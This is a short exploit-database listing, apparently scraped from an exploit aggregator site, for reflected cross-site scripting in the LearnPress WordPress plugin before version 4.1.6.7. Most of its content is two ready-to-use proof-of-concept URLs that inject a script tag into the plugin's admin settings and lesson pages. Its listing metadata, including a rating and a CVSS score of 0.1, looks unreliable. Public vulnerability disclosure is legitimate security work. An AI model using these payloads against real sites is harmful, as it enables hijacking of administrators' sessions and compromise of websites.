Exploit for LearnPress < 4.1.6.7 - Reflected Cross-Site Scripting

Name: Exploit for LearnPress < 4.1.6.7 - Reflected Cross-Site Scripting
Rating: 5 (150 reviews)

2022-06-22 | CVSS 0.1

## https://sploitus.com/exploit?id=WPEX-ID:D82DE28B-1F2F-4A51-B3CB-2FF3CEB7C720
Fixed in 4.1.6.6 - https://example.com/wp-admin/admin.php?page=learn-press-settings&tab=emails&section=new-order-emails&a"><script>alert(/XSS/)</script>

Fixed in 4.1.6.7 - With a lesson attached to the course id 2431: https://example.com/wp-admin/edit.php?post_type=lp_lesson&course=2431&a"><script>alert(/XSS/)</script>

Other pages are also affected